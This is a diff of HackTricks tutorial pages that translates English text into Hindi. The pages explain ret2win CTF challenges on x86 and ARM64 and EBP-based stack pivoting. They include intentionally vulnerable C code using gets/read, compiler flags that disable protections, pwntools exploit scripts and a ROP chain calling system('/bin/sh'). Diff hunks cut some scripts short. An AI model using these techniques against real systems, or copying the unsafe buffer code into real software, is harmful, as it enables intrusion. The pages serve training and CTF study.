**Ret2win** चुनौतियाँ **Capture The Flag (CTF)** प्रतियोगिताओं में एक लोकप्रिय श्रेणी हैं, विशेष रूप से उन कार्यों में जो **binary exploitation** से संबंधित हैं। लक्ष्य एक दिए गए बाइनरी में एक कमजोरियों का लाभ उठाना है ताकि बाइनरी के भीतर एक विशिष्ट, अप्रयुक्त फ़ंक्शन को निष्पादित किया जा सके, जिसे अक्सर `win`, `flag`, आदि जैसे नामों से जाना जाता है। जब इस फ़ंक्शन को निष्पादित किया जाता है, तो यह आमतौर पर एक ध्वज या सफलता संदेश प्रिंट करता है। चुनौती आमतौर पर स्टैक पर **return address** को ओवरराइट करने में शामिल होती है ताकि निष्पादन प्रवाह को इच्छित फ़ंक्शन की ओर मोड़ा जा सके। यहाँ एक अधिक विस्तृत व्याख्या है उदाहरणों के साथ:
|
||||
|
||||
### C Example
|
||||
|
||||
Consider a simple C program with a vulnerability and a `win` function that we intend to call:
|
||||
|
||||
एक साधारण C प्रोग्राम पर विचार करें जिसमें एक कमजोरी और एक `win` फ़ंक्शन है जिसे हम कॉल करने का इरादा रखते हैं:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void win() {
|
||||
printf("Congratulations! You've called the win function.\n");
|
||||
printf("Congratulations! You've called the win function.\n");
|
||||
}
|
||||
|
||||
void vulnerable_function() {
|
||||
char buf[64];
|
||||
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
|
||||
char buf[64];
|
||||
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
To compile this program without stack protections and with **ASLR** disabled, you can use the following command:
|
||||
|
||||
इस प्रोग्राम को स्टैक सुरक्षा के बिना और **ASLR** को निष्क्रिय करके संकलित करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
|
||||
- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges).
|
||||
- `-fno-stack-protector`: Disable protections against stack overflows.
|
||||
- `-z execstack`: Allow execution of code on the stack.
|
||||
- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change.
|
||||
- `-o vulnerable`: Name the output file `vulnerable`.
|
||||
- `-m32`: प्रोग्राम को 32-बिट बाइनरी के रूप में संकलित करें (यह वैकल्पिक है लेकिन CTF चुनौतियों में सामान्य है)।
|
||||
- `-fno-stack-protector`: स्टैक ओवरफ्लो के खिलाफ सुरक्षा को अक्षम करें।
|
||||
- `-z execstack`: स्टैक पर कोड के निष्पादन की अनुमति दें।
|
||||
- `-no-pie`: पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल को अक्षम करें ताकि `win` फ़ंक्शन का पता न बदले।
|
||||
- `-o vulnerable`: आउटपुट फ़ाइल का नाम `vulnerable` रखें।
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
|
||||
For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function.
|
||||
|
||||
हम एक्सप्लॉइट के लिए **pwntools** का उपयोग करेंगे, जो एक्सप्लॉइट लिखने के लिए एक शक्तिशाली CTF ढांचा है। एक्सप्लॉइट स्क्रिप्ट एक पेलोड बनाएगी जो बफर को ओवरफ्लो करेगा और रिटर्न पते को `win` फ़ंक्शन के पते से ओवरराइट करेगा।
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use:
|
||||
|
||||
`win` फ़ंक्शन का पता लगाने के लिए, आप **gdb**, **objdump**, या किसी अन्य उपकरण का उपयोग कर सकते हैं जो आपको बाइनरी फ़ाइलों का निरीक्षण करने की अनुमति देता है। उदाहरण के लिए, `objdump` के साथ, आप उपयोग कर सकते हैं:
|
||||
```sh
|
||||
objdump -d vulnerable | grep win
|
||||
```
|
||||
यह कमांड आपको `win` फ़ंक्शन का असेंबली दिखाएगा, जिसमें इसका प्रारंभिक पता शामिल है। 
|
||||
|
||||
This command will show you the assembly of the `win` function, including its starting address. 
|
||||
Python स्क्रिप्ट एक सावधानीपूर्वक तैयार किया गया संदेश भेजती है जो, जब `vulnerable_function` द्वारा संसाधित किया जाता है, तो बफर को ओवरफ्लो करता है और स्टैक पर रिटर्न पते को `win` के पते से ओवरराइट करता है। जब `vulnerable_function` लौटता है, तो यह `main` पर लौटने या बाहर निकलने के बजाय `win` पर कूदता है, और संदेश प्रिंट होता है।
|
||||
|
||||
The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed.
|
||||
## सुरक्षा
|
||||
|
||||
## Protections
|
||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक जैसा नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि `win` फ़ंक्शन कहाँ लोड है। कुछ मामलों में, जब ओवरफ्लो का कारण बनने वाला फ़ंक्शन `read` या समान होता है, तो आप रिटर्न पते को `win` फ़ंक्शन में बदलने के लिए 1 या 2 बाइट का **आंशिक ओवरराइट** कर सकते हैं। ASLR के काम करने के तरीके के कारण, अंतिम तीन हेक्स निबल यादृच्छिक नहीं होते हैं, इसलिए सही रिटर्न पते को प्राप्त करने का **1/16 मौका** (1 निबल) होता है।
|
||||
- [**स्टैक कैनरीज़**](../../common-binary-protections-and-bypasses/stack-canaries/) को भी बंद किया जाना चाहिए या समझौता किया गया EIP रिटर्न पता कभी नहीं होगा।
|
||||
|
||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
|
||||
|
||||
## Other examples & References
|
||||
## अन्य उदाहरण और संदर्भ
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
|
||||
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
|
||||
- 32bit, no ASLR
|
||||
- 32bit, कोई ASLR नहीं
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
|
||||
- 64 bits with ASLR, with a leak of the bin address
|
||||
- 64 बिट ASLR के साथ, बिन पते का लीक
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
|
||||
- 64 bits, no ASLR
|
||||
- 64 बिट, कोई ASLR नहीं
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
|
||||
- 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow
|
||||
- 32 बिट, कोई ASLR नहीं, डबल स्मॉल ओवरफ्लो, पहले स्टैक को ओवरफ्लो करना और दूसरे ओवरफ्लो के आकार को बढ़ाना
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
|
||||
- 32 बिट, relro, कोई कैनरी नहीं, nx, कोई pie नहीं, `fflush` के पते को `win` फ़ंक्शन (ret2win) के साथ ओवरराइट करने के लिए फॉर्मेट स्ट्रिंग
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
|
||||
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
|
||||
- 32 बिट, nx, कुछ और नहीं, `win` फ़ंक्शन को कॉल करने के लिए EIP का आंशिक ओवरराइट (1Byte)
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
|
||||
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
|
||||
- 32 बिट, nx, कुछ और नहीं, `win` फ़ंक्शन को कॉल करने के लिए EIP का आंशिक ओवरराइट (1Byte)
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win.
|
||||
- प्रोग्राम केवल एक संख्या के अंतिम बाइट को इनपुट के आकार की जांच के लिए मान्य कर रहा है, इसलिए यह संभव है कि अंतिम बाइट अनुमत सीमा के भीतर हो। फिर, इनपुट एक बफर ओवरफ्लो बनाता है जिसे ret2win के साथ शोषण किया जाता है।
|
||||
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
||||
- 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win)
|
||||
- 64 बिट, relro, कोई कैनरी नहीं, nx, pie। `win` फ़ंक्शन (ret2win) को कॉल करने के लिए आंशिक ओवरराइट
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
|
||||
- arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions
|
||||
- arm64, PIE, यह एक PIE लीक देता है `win` फ़ंक्शन वास्तव में 2 फ़ंक्शन हैं इसलिए ROP गैजेट जो 2 फ़ंक्शन को कॉल करता है
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
|
||||
- ARM64, off-by-one to call a win function
|
||||
- ARM64, ऑफ-बाय-वन `win` फ़ंक्शन को कॉल करने के लिए
|
||||
|
||||
## ARM64 Example
|
||||
## ARM64 उदाहरण
|
||||
|
||||
{{#ref}}
|
||||
ret2win-arm64.md
|
||||
|
||||
@ -2,109 +2,94 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Find an introduction to arm64 in:
|
||||
arm64 का परिचय यहाँ खोजें:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## Code 
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void win() {
|
||||
printf("Congratulations!\n");
|
||||
printf("Congratulations!\n");
|
||||
}
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile without pie and canary:
|
||||
|
||||
पीआईई और कैनरी के बिना संकलित करें:
|
||||
```bash
|
||||
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
```
|
||||
## ऑफसेट खोजना
|
||||
|
||||
## Finding the offset
|
||||
### पैटर्न विकल्प
|
||||
|
||||
### Pattern option
|
||||
|
||||
This example was created using [**GEF**](https://github.com/bata24/gef):
|
||||
|
||||
Stat gdb with gef, create pattern and use it:
|
||||
यह उदाहरण [**GEF**](https://github.com/bata24/gef) का उपयोग करके बनाया गया था:
|
||||
|
||||
gef के साथ gdb शुरू करें, पैटर्न बनाएं और इसका उपयोग करें:
|
||||
```bash
|
||||
gdb -q ./ret2win
|
||||
pattern create 200
|
||||
run
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset:
|
||||
|
||||
arm64 x30 रजिस्टर में पते पर लौटने की कोशिश करेगा (जो कि समझौता किया गया था), हम इसका उपयोग पैटर्न ऑफसेट खोजने के लिए कर सकते हैं:
|
||||
```bash
|
||||
pattern search $x30
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**The offset is 72 (9x48).**
|
||||
**ऑफसेट 72 है (9x48)।**
|
||||
|
||||
### Stack offset option
|
||||
|
||||
Start by getting the stack address where the pc register is stored:
|
||||
### स्टैक ऑफसेट विकल्प
|
||||
|
||||
स्टैक पते को प्राप्त करने से शुरू करें जहां pc रजिस्टर संग्रहीत है:
|
||||
```bash
|
||||
gdb -q ./ret2win
|
||||
b *vulnerable_function + 0xc
|
||||
run
|
||||
info frame
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337:
|
||||
|
||||
अब `read()` के बाद एक ब्रेकपॉइंट सेट करें और तब तक जारी रखें जब तक `read()` निष्पादित न हो जाए और एक पैटर्न सेट करें जैसे 13371337:
|
||||
```
|
||||
b *vulnerable_function+28
|
||||
c
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Find where this pattern is stored in memory:
|
||||
इस पैटर्न को मेमोरी में कहाँ स्टोर किया गया है, इसे खोजें:
|
||||
|
||||
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
|
||||
फिर: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
|
||||
|
||||
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
|
||||
|
||||
## No PIE
|
||||
|
||||
### Regular
|
||||
|
||||
Get the address of the **`win`** function:
|
||||
### नियमित
|
||||
|
||||
**`win`** फ़ंक्शन का पता प्राप्त करें:
|
||||
```bash
|
||||
objdump -d ret2win | grep win
|
||||
ret2win: file format elf64-littleaarch64
|
||||
00000000004006c4 <win>:
|
||||
```
|
||||
|
||||
Exploit:
|
||||
|
||||
शोषण:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -124,13 +109,11 @@ p.send(payload)
|
||||
print(p.recvline())
|
||||
p.close()
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (1211).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
### Off-by-1
|
||||
|
||||
Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`.
|
||||
|
||||
वास्तव में, यह स्टैक में संग्रहीत PC में ऑफ-बाय-2 के समान होगा। सभी रिटर्न पते को ओवरराइट करने के बजाय, हम **केवल अंतिम 2 बाइट्स** को `0x06c4` के साथ ओवरराइट करने जा रहे हैं।
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -150,22 +133,20 @@ p.send(payload)
|
||||
print(p.recvline())
|
||||
p.close()
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability.
|
||||
आप ARM64 में एक और off-by-one उदाहरण [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) में पा सकते हैं, जो एक काल्पनिक भेद्यता में वास्तविक off-by-**one** है।
|
||||
|
||||
## With PIE
|
||||
|
||||
> [!TIP]
|
||||
> Compile the binary **without the `-no-pie` argument**
|
||||
> बाइनरी को **`-no-pie` तर्क के बिना संकलित करें**
|
||||
|
||||
### Off-by-2
|
||||
|
||||
Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset:
|
||||
लीक के बिना हमें जीतने वाले फ़ंक्शन का सटीक पता नहीं पता है लेकिन हम बाइनरी से फ़ंक्शन का ऑफ़सेट जान सकते हैं और यह जानते हुए कि हम जो रिटर्न पता ओवरराइट कर रहे हैं वह पहले से ही एक निकटवर्ती पते की ओर इशारा कर रहा है, इस मामले में जीतने वाले फ़ंक्शन (**0x7d4**) के लिए ऑफ़सेट लीक करना संभव है और बस उस ऑफ़सेट का उपयोग करें:
|
||||
|
||||
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -185,5 +166,4 @@ p.send(payload)
|
||||
print(p.recvline())
|
||||
p.close()
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,62 +4,59 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence.
|
||||
|
||||
As a reminder, **`leave`** basically means:
|
||||
यह तकनीक **Base Pointer (EBP)** को नियंत्रित करने की क्षमता का लाभ उठाती है ताकि EBP रजिस्टर और **`leave; ret`** निर्देश अनुक्रम के सावधानीपूर्वक उपयोग के माध्यम से कई कार्यों के निष्पादन को श्रृंखला में जोड़ा जा सके।
|
||||
|
||||
याद दिलाने के लिए, **`leave`** का मूल अर्थ है:
|
||||
```
|
||||
mov ebp, esp
|
||||
pop ebp
|
||||
ret
|
||||
```
|
||||
|
||||
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
|
||||
और चूंकि **EBP स्टैक में** EIP से पहले है, इसलिए इसे नियंत्रित करना संभव है स्टैक को नियंत्रित करके।
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.
|
||||
यह तकनीक विशेष रूप से उपयोगी है जब आप **EBP रजिस्टर को बदल सकते हैं लेकिन EIP रजिस्टर को सीधे बदलने का कोई तरीका नहीं है**। यह कार्यों के व्यवहार का लाभ उठाता है जब वे निष्पादन समाप्त करते हैं।
|
||||
|
||||
If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\
|
||||
Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.
|
||||
यदि, `fvuln` के निष्पादन के दौरान, आप स्टैक में एक **नकली EBP** इंजेक्ट करने में सफल होते हैं जो मेमोरी के उस क्षेत्र की ओर इशारा करता है जहां आपका शेलकोड का पता स्थित है (प्लस 4 बाइट्स `pop` ऑपरेशन के लिए), तो आप अप्रत्यक्ष रूप से EIP को नियंत्रित कर सकते हैं। जैसे ही `fvuln` लौटता है, ESP को इस तैयार स्थान पर सेट किया जाता है, और अगला `pop` ऑपरेशन ESP को 4 से घटाता है, **जिससे यह प्रभावी रूप से एक पते की ओर इशारा करता है जिसे हमलावर ने वहां स्टोर किया है।**\
|
||||
ध्यान दें कि आपको **2 पते जानने की आवश्यकता है**: वह जहां ESP जाने वाला है, जहां आपको उस पते को लिखने की आवश्यकता होगी जिस पर ESP इशारा करता है।
|
||||
|
||||
#### Exploit Construction
|
||||
#### एक्सप्लॉइट निर्माण
|
||||
|
||||
First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**.
|
||||
पहले आपको एक **पता जानने की आवश्यकता है जहां आप मनमाने डेटा / पते लिख सकते हैं**। ESP यहां इशारा करेगा और **पहला `ret` चलाएगा**।
|
||||
|
||||
Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use:
|
||||
फिर, आपको उस पते के बारे में जानने की आवश्यकता है जिसका उपयोग `ret` द्वारा **मनमाना कोड निष्पादित करने के लिए** किया जाएगा। आप उपयोग कर सकते हैं:
|
||||
|
||||
- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address.
|
||||
- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits).
|
||||
- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute.
|
||||
- Some [**ROP**](../rop-return-oriented-programing/) chain
|
||||
- एक मान्य [**ONE_GADGET**](https://github.com/david942j/one_gadget) पता।
|
||||
- **`system()`** का पता उसके बाद **4 जंक बाइट्स** और `"/bin/sh"` का पता (x86 बिट्स)।
|
||||
- एक **`jump esp;`** गैजेट ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) का पता उसके बाद **निष्पादित करने के लिए शेलकोड**।
|
||||
- कुछ [**ROP**](../rop-return-oriented-programing/) श्रृंखला
|
||||
|
||||
Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution.
|
||||
याद रखें कि नियंत्रित मेमोरी के किसी भी इन पते से पहले, **`4` बाइट्स** होनी चाहिए क्योंकि **`pop`** भाग `leave` निर्देश का है। इन 4B का दुरुपयोग करना संभव होगा एक **दूसरा नकली EBP** सेट करने के लिए और निष्पादन को नियंत्रित करना जारी रखने के लिए।
|
||||
|
||||
#### Off-By-One Exploit
|
||||
#### ऑफ-बाय-वन एक्सप्लॉइट
|
||||
|
||||
There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\
|
||||
Usually it's modified the byte 0x00t o jump as far as possible.
|
||||
इस तकनीक का एक विशिष्ट रूप "ऑफ-बाय-वन एक्सप्लॉइट" के रूप में जाना जाता है। इसका उपयोग तब किया जाता है जब आप **केवल EBP के सबसे कम महत्वपूर्ण बाइट को संशोधित कर सकते हैं**। ऐसे मामले में, मेमोरी स्थान जो **`ret`** के साथ कूदने के लिए पता संग्रहीत करता है, EBP के साथ पहले तीन बाइट्स को साझा करना चाहिए, जिससे अधिक सीमित परिस्थितियों के साथ समान हेरफेर की अनुमति मिलती है।\
|
||||
आमतौर पर इसे बाइट 0x00 को संशोधित किया जाता है ताकि जितना संभव हो सके कूद सके।
|
||||
|
||||
Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed.
|
||||
इसके अलावा, स्टैक में एक RET स्लेड का उपयोग करना और असली ROP श्रृंखला को अंत में रखना सामान्य है ताकि यह अधिक संभावना हो कि नया ESP RET SLED के अंदर इशारा करता है और अंतिम ROP श्रृंखला निष्पादित होती है।
|
||||
|
||||
### **EBP Chaining**
|
||||
### **EBP चेनिंग**
|
||||
|
||||
Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.
|
||||
इसलिए, स्टैक के `EBP` प्रविष्टि में एक नियंत्रित पता डालना और `EIP` में `leave; ret` का पता डालना संभव है **स्टैक से नियंत्रित `EBP` पते पर `ESP` को स्थानांतरित करना**।
|
||||
|
||||
Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:
|
||||
अब, **`ESP`** नियंत्रित है जो एक इच्छित पते की ओर इशारा कर रहा है और निष्पादित करने के लिए अगला निर्देश `RET` है। इसका दुरुपयोग करने के लिए, नियंत्रित ESP स्थान में यह रखा जा सकता है:
|
||||
|
||||
- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
|
||||
- **`system()`** -> Called by `ret`
|
||||
- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
|
||||
- **`&("/bin/sh")`**-> Param fro `system`
|
||||
- **`&(next fake EBP)`** -> `leave` निर्देश से `pop ebp` के कारण नया EBP लोड करें
|
||||
- **`system()`** -> `ret` द्वारा कॉल किया गया
|
||||
- **`&(leave;ret)`** -> सिस्टम समाप्त होने के बाद कॉल किया जाएगा, यह ESP को नकली EBP पर ले जाएगा और फिर से शुरू करेगा
|
||||
- **`&("/bin/sh")`**-> `system` के लिए पैरामीटर
|
||||
|
||||
Basically this way it's possible to chain several fake EBPs to control the flow of the program.
|
||||
बुनियादी रूप से इस तरीके से कई नकली EBPs को जोड़ना संभव है ताकि कार्यक्रम के प्रवाह को नियंत्रित किया जा सके।
|
||||
|
||||
This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.
|
||||
|
||||
Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
|
||||
यह [ret2lib](../rop-return-oriented-programing/ret2lib/) की तरह है, लेकिन अधिक जटिल है जिसमें कोई स्पष्ट लाभ नहीं है लेकिन कुछ किनारे के मामलों में दिलचस्प हो सकता है।
|
||||
|
||||
इसके अलावा, यहां आपके पास एक [**चुनौती का उदाहरण**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) है जो इस तकनीक का उपयोग करता है एक **स्टैक लीक** के साथ एक विजेता फ़ंक्शन को कॉल करने के लिए। यह पृष्ठ से अंतिम पेलोड है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -75,34 +72,32 @@ POP_RDI = 0x40122b
|
||||
POP_RSI_R15 = 0x401229
|
||||
|
||||
payload = flat(
|
||||
0x0, # rbp (could be the address of anoter fake RBP)
|
||||
POP_RDI,
|
||||
0xdeadbeef,
|
||||
POP_RSI_R15,
|
||||
0xdeadc0de,
|
||||
0x0,
|
||||
elf.sym['winner']
|
||||
0x0, # rbp (could be the address of anoter fake RBP)
|
||||
POP_RDI,
|
||||
0xdeadbeef,
|
||||
POP_RSI_R15,
|
||||
0xdeadc0de,
|
||||
0x0,
|
||||
elf.sym['winner']
|
||||
)
|
||||
|
||||
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
||||
|
||||
payload += flat(
|
||||
buffer, # Load leak address in RBP
|
||||
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
||||
buffer, # Load leak address in RBP
|
||||
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
||||
)
|
||||
|
||||
pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
## EBP का उपयोग नहीं किया जा सकता
|
||||
|
||||
## EBP might not be used
|
||||
|
||||
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
|
||||
This is because the **prologue and epilogue changes** if the binary is optimized.
|
||||
|
||||
- **Not optimized:**
|
||||
जैसा कि [**इस पोस्ट में समझाया गया है**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), यदि एक बाइनरी कुछ ऑप्टिमाइजेशन के साथ संकलित की गई है, तो **EBP कभी भी ESP को नियंत्रित नहीं करता**, इसलिए, EBP को नियंत्रित करके काम करने वाला कोई भी एक्सप्लॉइट मूल रूप से विफल हो जाएगा क्योंकि इसका कोई वास्तविक प्रभाव नहीं है।\
|
||||
यह इसलिए है क्योंकि **प्रोलॉग और एपिलॉग बदलते हैं** यदि बाइनरी ऑप्टिमाइज्ड है।
|
||||
|
||||
